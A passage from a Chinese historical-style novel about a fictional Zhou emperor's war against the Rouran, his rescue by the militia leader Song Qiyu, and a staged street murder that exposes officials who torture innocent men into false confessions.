张永德抱了个拳说:“某本愿为皇上效命疆场,不想却被将军敲诈,这样的官,不当也罢!某告辞了。”张永德大怒,一拍桌子,喝道:“本将面前,岂容你使性子。来人,将他给我乱棍打出。若不看韩通将军面子,本将定要杀了你个乡巴佬。” 宋启愚气哼哼地回到韩通营外。吴襄赶紧跑过来牵住宋启愚的坐骑。席军民等人也围过来。曹可用问:“咋样?朝廷封咱个啥官呀?”宋启愚下马,苦笑着说:“张永德向我索要钱财。我没有答应。他不但不愿容留咱们,还把我打了出来。”众人听后简直气炸了肺。董阳骂道:“这个狗官,算个什么东西!咱们是去报效国家的,凭什么给他钱。”席军民也说:“我们兄弟出生入死,保家卫国,却要贿赂这样的赃官。咱们回家,不去了。”曹可用说:“好兄弟,国栋说的对,即使我们投了军,也要受那狗官的气,还不如回去。一样可以打柔然。”最后,宋启愚把脚一跺,命令全军上马,回转光裕寨。临出发前,宋启愚叫过余天锡,让他到韩通营寨替自己致意,并将所带信鸽留下,以通联络。 当天晚些时候,皇帝的圣旨传到了山阴。张永德命令韩通为先锋,于次日出动,攻击应县。韩通不敢怠慢,下令三更造饭,四更拔营。 第二天凌晨,月亮还在天边挂着半个脑袋。韩通便率领他的人马到达了应县城外。他下令乘夜攻城。随着隆隆的战鼓声,五千大周将士呐喊着扑向了城门和城墙。柔然值夜的士兵迷瞪着眼睛往城外一看,但见到处都是火把,吓得他们赶紧吹角报警。几百个被惊醒的兵卒,乱哄哄地被长官呼喝着上了城墙,参加抵御。一个个柔然人弯弓搭箭,向着呐喊方向和燃着火把的地方射去。可令他们奇怪的是,那些火把很少被射倒,反倒是擂鼓声和呐喊声越来越大。柔然兵不敢出城,只能更加拼命地放箭。直到天色微明,柔然人才看清楚,他们射的只是周军插在地上的几千个火把而已。这时,韩通把令旗一摆。鼓手们转身拾起地上的锣和铁牌用力地敲了起来。几千周军对县城展开了真正的进攻。不到一个时辰,应县城墙就有多处被周军攻入,甚至有几十名周军已经拿下了南门城楼。可就在这个时候,一个传令兵飞马来到韩通跟前,递上令牌,说道:“张将军有令,暂停攻击应县,等待大军前来。违令者,斩。”韩通是吃过张永德苦头的。他再三向传令兵确认了命令内容,最后,才无奈地下令停止攻击。可韩通不知道,张永德之所以不叫他进攻,仅仅是害怕他率先破城,抢了主帅的风头。 这个喘息机会,对于柔然人来说太难得了。他们先把南城上的周军赶了下去,又组织士兵和民夫拆了一些民房加固城墙,还组织起了五百人的轻骑兵部队,随时准备对周军进行反击。 第五回2 冉冉升起的帝星 午时初刻,张永德所部到达了战场。他命令部队围住县城四门,调集一万人马重点攻击应县南城。精于骑射的柔然守军发箭如雨,先后打退了周军的四次进攻。张永德大怒,当众斩杀了三名百夫长,并命令部队再次攻击。眼看南门就将失守,柔然将领派骑兵从东门突然杀出,顺着城墙一路砍杀,大周军队再次溃败。就这样,直至天黑,张永德也没能拿下已经千疮百孔的小小县城。在这种情况下,他只得下令大军休息,明日再战。 掌灯以后,一个官员在应县县衙里绕案疾走。他的头上不断地冒着冷汗。这人不是别个,正是现在的应县知县大周叛将张望。他叫来仅剩的亲兵,将一封书信交给他,并对其耳语了一番,才放亲兵去了。 将近戌时,陈昱拿着一封书信兴奋地冲进张永德大帐。他顾不得行礼,张口就说:“大功告成!大功告成!圣上一定会重赏大帅!”为了白天的失利,张永德心里很不痛快,他听陈昱没头没脑地说话,把脸一沉:“你说的是什么。要不是看你父亲的面子……”没等张永德说完,陈昱马上把书信递了过去,顺势一躬说:“大帅息怒。这是叛将张望写来的书信,他想今夜三更为我军打开应县西门。然后,咱们再里应外合,一举拿下城池。”张永德抓起书信,仔细看了两遍,皱了皱眉头说:“这里面不会有诈吧?”陈昱摆摆手说:“不会有诈。张望此人喜名好利、贪生怕死,之前看柔然势大便降了柔然,现在见将军势大又想投降我军,为了保命,他什么都做得出来。且城里的柔然军只剩下了一千余人,早晚会被将军所破。”张永德喜出望外地说:“好,那咱就答应他。不过,张望所提出的优待条件,本将可不给他保证。”陈昱笑笑说:“不劳大帅操心,下官已假装全部应承下来。等打下了城池,我们是大功臣,他是阶下囚,他能奈我何呀!”两人相视,哈哈大笑。 是夜,张永德率军一举攻克了应县。 捷报送入雁门关,皇帝非常高兴,下旨嘉奖所有参战将士;晋升张永德为枢密副使,授少保衔;晋升陈昱为代州知州;晋升韩通为代州镇守使……一众有功将士仍随御驾继续北征。同时,皇帝还下旨立斩叛将张望,传其首级遍示各个关隘,灭其九族。 三天后,同泰帝在雁门关举行了盛大的献俘仪式。几百名俘虏被周军押着,穿过关城,最后被斩于城头的“周”字旗下。接着,一队队训练有素、斗志昂扬的士兵从皇帝面前开过。看着这威风凛凛、衣甲鲜明的周军,望着那旌旗蔽日、刀枪如林的场面,同泰帝踌躇满志,下令全军出关,与柔然人决战。 面对来势汹汹的周军,乌利可汗忧心忡忡、夜不能寐。他多次召集大臣讨论战局,并得出最后的结论——目前尚不能与周朝正面碰撞。但是,乌利可汗又不甘心就此退回草原。于是,他下令一方面将大同的人、畜、粮食、财产迁往北方,另一方面集中有生力量,随时准备对周军发动一次致命的偷袭。为了麻痹周军,乌利可汗特意派出了多股百人的骑兵小队挡在周军的行军要道上。并命令他们,在周军哨探面前耀武扬威,而在周军主力面前,却要一触即溃,快速逃跑。一份份捷报呈送到了同泰帝面前,这位新皇帝自信得有些飘飘然。他逐渐放下了最初的戒备心理,并命令刘睿驱动部队直奔大同。 十月的山西,天气转凉。尤其是进入下旬以后,北风便开始到处肆虐。这天下午,同泰帝的御驾到达了桑干河西岸。天近申时,野外突然乌云四合。同泰帝随下令安营扎寨。他叫上赵松寿带着几个随从在御营里进行了巡视。他不无得意地说:“自古帝王数百人,贪于安逸者居多,但能亲历战场、运筹帷幄又何尝不是一种快意呢!”赵松寿等人纷纷附和,把皇帝说得很舒心。就在这时,远处传来一通鼓角,同泰帝忙命人询问缘由。不多时,刘睿提着马鞭笑呵呵地来到御帐。磕头行礼后,刘睿对皇帝说:“启奏陛下,方才左军张洪涛部遭遇了三百柔然骑兵。张将军已将其击溃,斩杀百余人。”同泰帝说:“给张将军记功,待战胜柔然后一并封赏。另外,提醒各营,加强戒备,不得疏忽。”刘睿答道:“遵旨。”然后他又说:“陛下,我军离大同只有五十里,一天之内便能到达。据哨探报告,柔然人将大量物资运回了北方,大同防卫空虚,似有放弃之意。看来,他们是惧怕陛下天威,这才派出骑兵迟滞我军的。”同泰帝点头说:“大同的子民受苦了。好在,朕明日就能出民水火。刘爱卿,你去安排吧,要多派前哨,以保大营安全。” 几天来,担负侧翼掩护任务的韩通总觉得哪里不对劲。在边关镇守了几十年的他清楚地知道,周军先前取胜,多是凭借城池坚固、地形有利或兵力的绝对优势;象近几日柔然骑兵在野战中一触即溃的现象他还从来没有遇到过。他隐隐觉得柔然人有什么阴谋。但当他把想法报告给主将时,遭到的却是肆意的批驳和嘲弄。他也曾给皇帝写过一份奏折,但泥牛入海,没有回音。今日扎营,韩通感觉尤为怪异,军营前方静得出奇。他走出军帐,一片雪花飘落下来,打在他的脸上。韩通不由得打了个寒颤。这时,帐角处的信鸽“咕……咕、咕”地叫了几声。韩通突然想到了宋启愚和宋太公。他回到帐内,提笔写下一张字条,绑在鸽子腿上,并将信鸽放飞了出去。那鸽子在空中盘旋了一圈,急速向东南飞去。 雪越下越大,掌灯的时候,营区四下已是银装素裹,远处旷野也已白雪皑皑。用双脚行军大半日的将士们吃罢了晚饭,纷纷缩进帐篷,凑暖和睡觉去了。除了值岗和巡逻的士兵外,各个营区很少有人走动。同泰帝则叫来赵松寿陪着自己下棋,打发时间。天到亥时,同泰帝也有些乏累了。他屏退众人,独自进入了内帐。可当同泰帝的脑袋刚碰到枕头时,他就感觉地面仿佛在轻轻震动,随即,远处传来了信炮声、鼓角声和呐喊声。蛰伏数日的柔然大军倾巢而出,开始最后一次大规模的进攻。 镇北将军王浩的大营是最先受到袭击的。从睡梦中惊醒的周军将士乱得象一锅粥。有胡乱套上衣甲找不到兵器的,有兵不识将、将不识兵的,还有因为雪天地滑互相冲撞的,也有惊恐过度骑不上战马的,就是没有有效御敌的。柔然骑兵又趁乱向周军营内放火,使得大周右军死伤惨重。 突击周军中营的是乌利可汗亲自指挥的四万骑兵。虽然,周军已从慌乱中恢复了些许秩序,刘睿也组织起了一些有效的抵抗。但是,柔然骑兵的战斗力实在太强大了。而且,乌利可汗还命令后续部队每人手举两枝火把,远远望去,漫山遍野都是敌军。周军将士被打得心惊胆裂,中营的防守也开始松动。柔然军队先突过了堑壕和鹿柴,又突进了一侧的寨门,眼看整条寨墙都将失守。副相赵松寿跌跌撞撞地跑到同泰帝面前,请求皇帝暂时撤离险地。同泰帝起初严词拒绝,誓与柔然血拼到底。可打到后来,一枝火箭“嗖”的从同泰帝身边飞过,射杀了不远处的一名近侍。赵松寿不敢再拖,急忙让禁军拥着皇帝往营后撤退。 皇帝的逃跑对周军士气的打击是巨大的。原本就支持不住的防线开始一点一点向后移动,直至崩溃。柔然骑兵象潮水一样涌进了皇帝的御营,并砍瓜切菜般屠戮着周军将士。乌利可汗带着卫队一马当先冲到了同泰帝的御帐前。可在踅摸了一圈没有发现敌人的重要将领后,乌利不免有些泄气。他对身边的卫队一挥马鞭,命令他们追击敌军。几百名骑兵闻令而动,呼啸着就向南边奔去。 同泰帝带着赵松寿、白晨等人先向左军跑,可那里也正在激烈交战。他们又调转马头,向南奔逃。刚跑出十几里,柔然骑兵就追了上来。白晨急命身后的几十名禁军向回冲杀抵挡一阵。同泰帝边逃边对赵松寿说:“这么跑不是办法。你赶快去附近营寨搬兵,前来救驾。”赵松寿答应一声带着两个随从往西跑下去了。天色见亮的时候,白晨追上同泰帝说:“主子,您的战袍太过耀眼,不如脱下来,让奴才穿上引开敌军。”同泰帝快速把战袍解下,扔给白晨说:“好奴才,等回了京师,朕一定重重地封赏你。”为了让皇帝逃得更远一些,白晨在原地换好了战袍,才领着十几个人越过河汊向东跑去。柔然人果然上了当。他们派出大部分骑兵去追击白晨,却只派了二十几个骑兵紧咬同泰帝。 第五回3 冉冉升起的帝星 在逃跑途中,同泰帝偷眼看了看身后,护驾的仅剩下三名禁军了。他紧紧握着缰绳,用马鞭不停地抽打着坐骑,希望能快些逃离战场。可是,突然,同泰帝的战马一声长嘶,马失了前蹄。由于惯性,同泰帝一下子就栽了出去,并在地上滚了好几滚才停住。此时的同泰帝,帽子也掉了,衣甲也开了,额角也破了,头发也乱了,脸上也花了。他眼睁睁看着几个柔然人就要来抓自己了。就在这千钧一发之际,只听“着”的一声,突在最前面的柔然骑兵被一枝白羽箭矢射落马下。紧跟着,一支骑兵在一名白马骑士的率领下旋风般地冲入敌阵,仅仅一个冲锋便把柔然追兵杀散了。白马骑士旋回马来,对着同泰帝抱拳说:“将军不要害怕,我乃大周子民,已将追兵赶散。”在三个禁军的搀扶下,同泰帝缓了好半天,才平复过来。他使劲挤了挤眼睛,就见面前的白马骑士二十四五岁年纪,脸色微红,左脸外侧有一丝白色蜗痕,眉宇间透着英气和活力。同泰帝勉强抬了抬手,问道:“这里,这里是什么地方?请问壮士尊姓大名?”白马骑士欠身说道:“此处名曰龙潭。我乃光裕寨人士,姓宋名启愚字宣道。”同泰帝此时犹如惊弓之鸟。他既不敢暴露身份,也不想让人看到皇帝的狼狈。他一揖到地说:“多谢宋壮士相救之恩。某是石……石黄,乃禁军统领。他日,他日石某定将厚报恩公。”宋启愚从怀里掏出一个小药葫芦,扔给同泰帝身边的禁军士兵,说道:“这是止血药,可给石将军敷上。”然后,他又问同泰帝:“石将军,你既是禁军统领,怎会到此?皇上大营可有危险?”同泰帝说:“我军昨夜在桑干河畔扎营。不料,柔然大军半夜来袭。我军损失惨重,御营已被攻破。”宋启愚着急地在马上直跺脚。他一抱拳说:“石将军,此地向西十几里就是应县县城,将军可到那里暂避。我现在立即带兵北上,解圣驾危难。”说完,宋启愚也不待同泰帝答话,拨转马头,呼喝着:“全体随我来,北上救驾。”百十个骑兵听命旋马,跟着宋启愚疾驰而去,仅在同泰帝面前留下了一阵尘烟。 那么,宋启愚是如何来到战场的呢?原来,在周军昨日扎营后,韩通将军放出的信鸽仅用了小半个时辰就飞回了光裕寨。余允文接到消息不敢怠慢,立即呈送给了宋启愚。宋启愚展信研究了半天,仍难以判断战场形势。他便去找祖父商量对策。宋太公眯着眼睛想了好久,突然张口说:“不好!柔然人可能今夜要偷袭圣驾。”宋启愚也紧张起来,忙问为何。太公说:“四十多年前,奚人来犯,那时候你太爷爷做代州镇守使。朝廷命他提兵抵御。有一天晚上,我们也扎营在桑干河边,为了防备夜袭,你太爷爷派了大量哨探搜索周边,并没有发现危险。但就在那个晚上,我们的营寨受到了袭击。我父子九死一生才得以逃命。战后我们才知道,敌人隐蔽在龙泉湾。这片泥沼看似无奇,但能藏下数万兵马而不被发现。”宋启愚大惊,忙说:“若如此,我们光裕寨必须有所行动。”太公点点头说:“孙儿啊,你带上二百骑兵到我大周的营垒去。一旦陛下有失,你要立即救援。”宋启愚皱了一下眉头说:“遵命。不过,前些时,为了抵御柔然,在焦炭谷挖掘的堑壕并没有回填,我今出兵只能走沿河道路,恐怕今夜我们难以到达战场。”宋太公怅然若失,说道:“那只能寄希望于圣上洪福齐天,大周佛祖保佑啦……”就这样,宋启愚率领部队经过一夜跋涉,天亮时,才刚刚赶到前线。 当宋启愚带领着团练军来到御营外围的时候,柔然军队已经撤走。周军大营一片狼藉,很多地方还烧着火,一些将校在收容残兵,一些军人在清理战场,救治伤员。宋启愚逢人便问圣上下落,但没人说得清楚。宋启愚把吴襄、席军民等人叫到跟前说:“看现在这种情况,柔然人极有可能是集中了全部兵力,做的最后一搏。他们的作战目的是要么抓获我军主帅,然后以此为要挟继续南侵,逼我大周割地赔款;要么在进攻取得大胜后,安全撤退。依我看敌人撤退的可能性很大,我想带着你们奋力追一追,多少为我大周取得一些战果,至少杀一杀柔然人的锐气。你们看怎样?”曹可用第一个表态:“好。全听团练的。”吴襄等人也表示同意。于是,宋启愚带着二百骑兵继续向北方追击。 由于乌利可汗在发动偷袭前就下过严令,所有部队在天亮前必须脱离战斗,到云冈集结,然后再汇合从大同城撤出的其余部队,北归大漠。所以,当宋启愚追到三官庙的时候,还真赶上了一支柔然骑兵。 双方军将各拉兵器混战到了一处。等离得近了,宋启愚突然发现,在柔然队伍后面押着几名被俘的周军,其中一人身上还穿着明黄色的锦缎战袍,那是只有皇家才能穿戴的服色。宋启愚的脑袋“嗡”的一声。他大声对身边的兵卒命令道:“跟着我,一定要把穿明黄战袍的人救出来。”在又经历了一番血战后,柔然骑兵渐显弱势。见此情景,一个柔然头目丢开当面之敌,拨马回转了后队。他冲到搭载俘虏的马匹跟前,举起弯刀就要砍杀那几名俘虏。宋启愚眼看不妙,急忙摘弓搭箭向那名柔然头目射击。可就在那名柔然头领被射下马去的同时,一个柔然骑兵的弯刀也砍向了宋启愚。宋启愚虽然最大限度地向战马的一侧进行了躲闪,但后背还是被刀尖扫到。鲜血一下子便染红了他的衣衫。此时,宋启愚顾不得疼痛。他先反手一箭,解决了那名柔然骑兵,又纵马向被俘的周军奔去。吴襄和曹可用带着几个人冲过来了。曹可用心疼地问:“好兄弟,怎么样?”宋启愚脸色惨白,紧咬着牙关说:“我还撑得住,你们快去救圣上。” 在又经历了一阵拼杀后,柔然人死伤殆尽,剩下的几个骑兵也丧失了斗志,扔下俘虏逃走了。吴襄等人把穿明黄战袍的人从马上搭下来,并给其松开了绑绳。而后,众人跪倒行大礼,口称:“陛下受惊了。”穿明黄战袍的人赶紧把吴襄扶起来,摆手说:“壮士们快起来。咱家不是皇上。咱家是内廷总管白晨。若非众位壮士,咱家……”想到自己一天来九死一生的经历,白晨掩面痛哭。这时候,席军民扶着宋启愚走了过来。宋启愚很吃力地向白晨拱了拱手,问道:“敢问公公,皇上现在何处?”白晨沉吟道:“但愿陛下已经逃离了战场。”接着白晨就将自己的被俘经过讲说了一遍,其间数度哽咽。席军民听后,说道:“照公公所言,陛下逃跑的方向正是我们来的方向呀。可我们并没有遇到,只是救了一个叫‘石黄’的禁军统领。”白晨听到“石黄”两个字,似乎明白了些什么,但却不敢说破。他来到宋启愚面前,恭恭敬敬地跪下磕了个头说:“咱家多谢壮士救命之恩。咱家定将壮士义举奏报圣上,求圣上恩旨表彰壮士及诸位英雄。” 经过查点,团练军在这一仗里损失了四十多名弟兄。等到收拾完尸首,要回军的时候,宋启愚已经不能骑马了。曹可用等人就用树枝和藤条编了个软床,抬着他向南走。 看着眼前这伙拼死卫国的民团,想想刘睿、张永德等人平时贪功争宠的做派,又想到那些朝臣们在自己面前逢迎拍马的行为,白晨感触良多,但最后,当他想到皇帝自称“石黄”的场景时,他不由得打了个寒颤。白晨太了解他的主子了,在这位皇帝眼里国家的体面和威严异常重要,任何臣僚都不能威胁他的名声,他之所以不表明自己的身份,就是不想让人知道他险些被俘的经历。白晨扭脸看了看趴在软床上的宋启愚。这个年轻人的勇敢、机智和忠心给他留下了太深的印象。他决定保护这个人。通过询问,白晨得知宋启愚是秀才出身,之前还在马营山、焦炭谷等地歼敌无数。他的脑子飞快地转动着。他最终想出了抬举宋启愚的办法。白晨走到宋启愚面前,亲切地唤道:“宋壮士,宋壮士。”宋启愚强撑着转过脸来。白晨说:“宋壮士,让他们把你先放下,咱家有几句机密的话要跟你讲。”宋启愚命部队原地休息,并让大伙都退到三丈以外。白晨这才压低了声音对宋启愚说:“宋壮士,下面我说的话千万不能传到第三个人耳中。咱家猜测你们救的‘石黄’就是当今皇上。”宋启愚大吃一惊,刚要说话却被白晨制止住。白晨说:“壮士不必多言,只听我讲。当今圣上最看重脸面和名声。你们救他,而他不以实名相告,若咱家以救驾有功替你们讨封赏,有可能给你们招祸。故而,咱家会以光裕寨出兵助剿有功奏报皇上,这样皇上必然重赏光裕寨。”宋启愚听出了事情背后的厉害,惊出了一身冷汗。他诚惶诚恐地说:“赖白公公保全,宋某感激不尽。”白晨接着说:“一会儿,咱家先只身回御营,再到应县找寻圣上,恩公也可暂归光裕养伤。对于皇上给以的赏赐,若为钱物名爵,恩公尽可收下,但若赐予官职,恩公务必辞掉。这样既可以让圣上收取打败柔然的全部功劳,也能够保护恩公及诸位英雄。”宋启愚在感激白晨的同时,也对皇家的无情感到寒心。他努力拱了拱手说:“多谢公公以实相告。”白晨顿了顿,又说道:“至于恩公的前程,咱家自会全力安排。按照本朝惯例,不出明年皇上必然举行恩科大比。若恩公能以进士身份出来做官,便不会再有人质疑你了。” 同泰帝石磊在逃进应县后,收拢残部,并急调朔州、蔚州驻军增援。很快,在皇帝身边又集结起了十万人马。这次,同泰帝不敢再提兵北上了,而是命令张洪涛和王浩率领四万禁军收复大同。这两位将军经前一战也对柔然心存恐惧。他们一面缓慢进军,一面不断向大同方向侦查敌情。当确认柔然已经撤兵,大同是座空城时,这两位大将喜出望外,仅用了半天时间便赶到大同,收复了这座北方重镇。 与此同时,其它方向上的捷报也不断传来,先是西羌大军被大都督陈松昌歼灭于雍州以北地区;而后,北燕见周朝兵力强大,遣使乞和。一时间,朝廷取得全胜的消息传遍了大江南北。全国的老百姓也都开始颂扬同泰帝的英明神武。 第六回1 仁政与决断 同泰二年正月,皇帝下旨要在上元节晚上亲临鼓楼赏灯观花,与民同乐。到了十五这天,汴梁城里一派忙碌景象,家家户户张灯悬彩,男女老少喜气洋洋,特别是大相国寺和御街附近的商家和住户提前多天就在门面搭起了彩棚,道路表面也被冲洗的干干净净。还不到日中,临近鼓楼的太白居酒楼内便已高朋满座,特别是二楼临街的包房更是被一些有钱人提前预订。其实,这些来酒楼的顾客并不完全是为了吃饭,而是为了晚上观灯和参拜圣驾能占个好位置。 太白楼的李老板站在柜台前,喜滋滋地迎送着光顾的客人。就在这时,一个衣衫褴褛、蓬头垢面、满身臭味的乞丐摇着牛骨板走了过来,站在酒楼门口唱到:“大爷大娘行行好,恁们有钱吃得饱,可怜俺这穷光蛋,无衣无食日难熬。给个馍,给口汤,给个元宝真正好,祝恁长命活百岁,愿恁挣钱日日高……”李老板一皱眉,嘴里先嘟囔了声倒霉,然后叫伙计拿过来两个剩馒头,捂着鼻子走到门前,递过去说:“要饭的,给你两个馍,快走吧。”乞丐瞟了店老板一眼,接过了馍,不屑地说:“我说大爷,你咋这么抠呢!人家别的店都给十个大钱,就连今天不许开业的棺材铺还给了五个钱呢。”李老板听了很生气,但转念一想,这么多客人在酒楼,正是赚钱的好时候,犯不上跟对方起冲突,于是,就从柜台里摸出来五个铜板丢给乞丐说:“好,好,好,看在过年的份上,给你几个钱,到别处去吧。”按一般人的想法,乞丐得了钱说个吉祥话,也就到下一家乞讨去了。可今天却不知为何,这个乞丐先把钱揣进怀里,又把手伸到了李掌柜面前,毫不客气地说:“大爷,饭馆生意这么好,咋说也得多给几个,咋能跟棺材铺一样呢。”这下,李掌柜真生气了,高声说:“你个臭无赖,蹬鼻子上脸,赶快滚蛋,小心我让伙计打折你的狗腿。”乞丐不甘示弱地说:“那感情好,老子正愁没地儿吃饭呢!老子就讹上你了。”说着,乞丐还拿起牛骨板唱了起来:“这饭馆真是坏,掌柜天天耍无赖。不给钱,还打人,不出人命不算完……”此时,酒楼前后已经乱哄哄地聚集了好多人。人们指指划划,说什么的都有。李掌柜怒气冲冲地招呼店内:“伙计们,来……”还没等他把话说完,突然,从人群中冲出一个小伙子,对着乞丐就是一刀。那乞丐惨叫一声,左手抓着凶器,右手捂着胸膛,慢慢地倒在了血泊中。在乞丐濒死抽搐时,那柄插进他前心的短刀被太阳一照,竟射出了莹莹的宝光。周围的人没见过当街杀人,被吓得四散奔逃。乘着混乱,那凶手转身就跑,三下两下就消失在了人群中。 这件事情很快就报到了开封府。府尹孙从善害怕影响皇上晚间观灯,急忙带着办案人员赶到了太白楼。在勘察了现场,检验了尸体,核对了凶器,又收录了目击证词后,孙府尹觉得案子难破,于是便将太白楼的掌柜和伙计先行收监,并查封了酒楼。他还命人驱散了看客,清理了街道。 是夜,人们在鼓楼大街上点亮了万盏花灯,各式各样,光彩夺目;又有人在汴河两岸燃放焰火,光华绚烂,火树银花;还有佛道在寺观大做法式,香烟缭绕,钟磬齐鸣;更有妙龄女子盛装乘舟,争芳斗艳,引人顾盼。掌灯时分,先是开道马队从鼓楼大街上跑过,接着是大队禁军布防在街道两侧。过了一刻钟,皇家仪仗整整齐齐地开了过来。道路两边看热闹的官民不由自主地跪伏于地。当皇家车队通过街道的时候,山呼万岁的声音此起彼伏,现场的人都为自己曾见过皇帝而感到荣光。坐在御撵中的同泰帝偶尔也撩开车帘,既为观赏夜景,也为享受朝拜。御驾车队绕鼓楼一周向北拐上御街后,仪仗警卫很快也撤走了。鼓楼大街一下子沸腾了起来,各种表演、杂耍、戏剧纷纷上演,各种手工、杂货、小吃让人目不暇接,还有些大的酒楼在门前组织起了赌局和灯谜,吸引着顾客流连。 与鼓楼大街不同,御街方向少了些市井气,却更加漂亮雅致。同泰帝登上位于大街尽头的宣德门,坐定在金漆大座上。他先接见了皇家子弟和后宫嫔妃,又接受了宣德门下聚集的百官和命妇、官属的朝贺。同泰帝与大家一同欣赏着御街两廊展现的各类表演,看着汴梁城中点燃的十万灯烛,心中好不快活…… 正月十七朝会,同泰帝接受完群臣叩拜,没有问其它政事,而是直接点名孙从善,让他回奏鼓楼杀人案的侦破情况。孙从善没有心理准备,结巴了半天也没将事情回奏清楚。同泰帝大怒,降孙从善为开封府同知,并命刑部尚书卢敏会同孙从善共破此案。其后,同泰帝便宣布退朝。朝臣们面面相觑,难以猜出皇帝的意图。 刑部尚书卢敏领受皇命后,不敢怠慢,他调来这些年京畿地区的悬案卷宗,想找出有价值的线索;同时,他派出刑部的全部明探、暗探,拿着凶手遗留下来的短刀日夜查访,希望能有所收获。开封府同知孙从善则亲自提审太白楼的掌柜和伙计,并派人重新彻查太白楼,寄望有所突破。但三天下来,他们一无所获。在又一次受到皇帝斥责后,卢敏来到开封府找孙从善商量对策。二人在后堂坐定。仆人端上茶来。孙从善摆手示意从人都出去,才小心翼翼地问卢敏:“卢大人,皇上对这件案子如此重视,可下官至今一筹莫展,还望大人多多赐教。”卢敏也是一脸愁容,说道:“孙大人客气。本官也毫无头绪。只是有一点,本官闹不明白,一个小小的乞丐被杀本是寻常案件,为什么皇上对此如此重视呢?难道仅仅是因为人命关天吗!”孙从善说:“这也正是下官不解之处。或许是因为影响了陛下观灯和与民同乐吧。”卢敏点点头说:“也许皇上是想让我们快速恢复京城治安,保障京畿稳定。若如此,我们就该快速审理结案。”孙从善凑近说:“那,大人的意思是……”卢敏接着说:“孙大人试想,此案发生在太白楼,又是因为乞丐与太白楼老板口角引发,那么太白楼的人一定脱不了干系。另外,据证人所言,当时那个李老板确实发怒,正欲唤下人出来行凶,他的嫌疑也是最大的。”孙从善想了想,说道:“大人所言有理。不过,下官这几日多次提审太白楼收监人员。对有些人还用了刑,但他们都拒不承认。以这样的判定过程,恐怕是没法回复皇上呀。”卢敏问道:“是否用过大刑?”孙从善答说:“还没有,因未找到有力的证据,下官不敢造次。”卢敏笑笑说:“若皇上果真是希望快速恢复京畿安定的话,我们就不能讲究那么多了。况且,开饭馆本该和气生财,他们却与人争斗;富有的人乐善好施本是良品,这个李老板却吝啬不仁;鼓楼乃天子脚下,繁华地带,他们却寻衅滋事,这帮人可恶至极,应该承担责任。”孙从善本就想快些甩掉这个案子,现在听到卢敏这么明确的表态,连声说:“大人所言不虚,孙某受教了。” 太白楼的老板和伙计哪经得住大刑拷问,当天就按官府的诱导交代了各自的罪行,并在口供上画了押。卢敏和孙从善会商后,以“滋事雇凶、斗杀人命”的判词结案。 第二天朝会,同泰帝再次叫卢敏和孙从善汇报案件的侦破情况。二人分别捧着奏本以昨日的审理结果上奏。当听完两人的奏对后,同泰帝命令白晨捧过一把短刀出示给卢、孙二人。问他们说:“这把刀你们认识吧?刀柄上嵌着七颗宝石。”二人一看,不由得大惊失色,诚惶诚恐地磕头说:“这把短刀正是此案中的杀人凶器。”同泰帝让白晨回到御座前,伸手抓过短刀,又回身从御座上拿起一个刀鞘。而那刀鞘上同样也嵌着七颗宝石。同泰帝“啪”的一声将短刀归鞘,竟严丝合缝,分明就是一副。同泰帝哈哈大笑,用手托着短刀,快步走下御阶,并宣布退朝。身在宣德殿内的众臣如堕五里雾中,半天不知所措。 过了一会儿,王克明、赵松寿等几个宰执大臣终于反应过来。他们战战兢兢地来到乾德门前,摘下乌纱帽,面向内宫,跪地请罪。足足过了小半个时辰,内廷总管白晨才从宫门内走出。白晨来到几位大臣面前,挺胸问道:“奉旨问你们的话。尔等对鼓楼杀人事件有何看法?”王克明老老实实地回答说:“臣昏聩。臣起初并未重视此案,也未能理解圣上苦心,恳请圣上责罚。”刘睿回道:“臣愚钝,不了解该案真相,请皇上降罪。”张文辉等几名大臣也纷纷奏对。最后,还是赵松寿反应快,恭恭敬敬地说:“在君父面前,臣下们本不该妄猜圣意,更不能欺骗圣上。卢、孙二人并未侦破此案却想邀功,其心不诚。而臣等驭下不严,也有失察之罪,请陛下严惩。”听完了众人的回话,白晨仰着头,高声说:“当今皇上乃万古难有的圣明君主,岂是宵小之辈所能蒙蔽的。先前乞丐无赖扰乱京师,其罪当诛,死有余辜。近卫除之并无不妥。然而,卢、孙二人蓄意推搪,甚失圣望,着即降职外放。其余臣工当以二人为戒,诚信事君,谨慎为官,勤勉做事,莫再做出此等糊涂事来!”众大臣听后,心中惊惧,纷纷磕头,高呼皇帝圣明。 几天的功夫,关于皇帝睿智决断、惩治奸邪、明辨是非、为民伸冤等等方面的街谈巷议就充斥了整座开封城。 第六回2 仁政与决断 转眼到了仲春,阳气日盛,寒气渐消,汴河两岸的垂柳也悄悄吐出了嫩芽。同泰帝下旨将于亥日在城南神农苑举行盛大的祭祀农神和皇帝亲耕活动。宰相和礼部的官员们不敢怠慢,先选定前状元现礼部侍郎兼国子监司业冯体仁做典礼司仪,又按照礼制早早的在神农苑做了布置;而在京的六品以上官员,也纷纷斋戒沐浴,以备参加祭礼。 亥日卯时,皇帝仪仗到达神农苑。乐司的官员们马上开始奏乐。身穿祭祀盛装的同泰帝,脚踩红毯,伴着钟磬鼓瑟之声,缓步走向祭台。红毯两旁的陪祭京官顺次跪倒,山呼万岁。同泰帝登上祭台后,示意冯体仁典礼开始。冯体仁走到祭台前,高声宣示:“同泰二年仲春,吾皇祭祀农神。”稍停顿后,冯体仁对台下宣告:“陪祭官员上前,跪拜农神。”待众位京官按位次跪定后,冯体仁继续宣告说:“吾皇宣读祭文。”两名礼部官员捧着一个长条盘,恭恭敬敬地把祭文呈给同泰帝。同泰帝拿过文稿,慢慢展开,宣读道:“有邰姜嫄,践履圣迹,感而有孕,生兹后稷。相地之宜,五谷树艺,教民稼穑,执农不弃。文明发祥,子孙繁衍,周祚绵长,礼乐典范……” 这时,在神农苑的御耕园边跪着男女老少十个农民,他们是礼部专门请来帮着皇帝亲耕的。一位上了年纪的官员不停地嘱咐他们,待会见了皇上不要害怕,要低头回话,皇上问什么就答什么,话不能多等等。 